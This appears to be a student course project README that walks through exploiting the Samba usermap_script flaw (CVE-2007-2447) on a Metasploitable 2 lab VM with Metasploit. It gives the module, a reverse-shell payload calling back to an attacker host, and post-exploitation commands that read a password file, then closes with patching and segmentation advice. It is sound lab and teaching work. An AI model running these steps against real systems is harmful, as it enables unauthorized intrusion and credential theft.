SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

RedTeam-SMB-PenTest

linux bash

Description

This project documents my penetration testing engagement as part of the CMIT 386 course at UMGC. It focuses on exploiting the Samba SMB usermap_script vulnerability (CVE-2007-2447) on Metasploitable 2 using Metasploit from a Kali Linux attack VM. This proof of concept shows how a legacy vulnerability can lead to full system compromise, credential theft, and data exfiltration.

Vulnerability Overview

The vulnerability resides in the Samba service on port 445, where improper input handling in the username map script allows unauthenticated remote command execution. This provides attackers with root-level shell access if exploited.

Environment

Steps to follow

1. Launch Metasploit:

msfconsole

Make sure both the attacker host and victim machine are booted and running.

2. Search for the exploit:

search samba

3. Use the appropriate module:

use exploit/multi/samba/usermap_script

4. Set required options:

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. Execute the exploit:

exploit

6. Post-exploitation commands:

whoami
hostname
cd /redteam7/student3
cat mypass.txt

Reset Instructions

If the session hangs or breaks:

Reset Metasploit:

# Leave current shell
Ctrl C
exit
# Kill all background jobs
sessions -K             
jobs -K
# Restart Metasploit
msfconsole

Key Takeaways

Legacy services like Samba 3.0.20 with usermap_script are highly vulnerable.
Exploiting this SMB vulnerability grants root shell access.
Critical data can be harvested with simple commands, demonstrating real-world risk.
This proves the necessity of patching, segmentation, and reducing service exposure.

Recommendations

Patch or decommission legacy systems immediately.
Implement strict network segmentation and firewall rules.
Limit SMB exposure to internal, authenticated users only.
Monitor logs for suspicious activity and lateral movement.

Attacker VM	Kali Linux
Victim VM	Metasploitable 2
Target Port	445 (Samba/SMB)
Exploit Used	`exploit/multi/samba/usermap_script`
Credential Target	`/redteam7/student3/mypass.txt`

Most Popular

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

RedTeam-SMB-PenTest

Description

Vulnerability Overview

Environment

Steps to follow

1. Launch Metasploit:

2. Search for the exploit:

3. Use the appropriate module:

4. Set required options:

5. Execute the exploit:

6. Post-exploitation commands:

Reset Instructions

Reset Metasploit:

Key Takeaways

Recommendations

References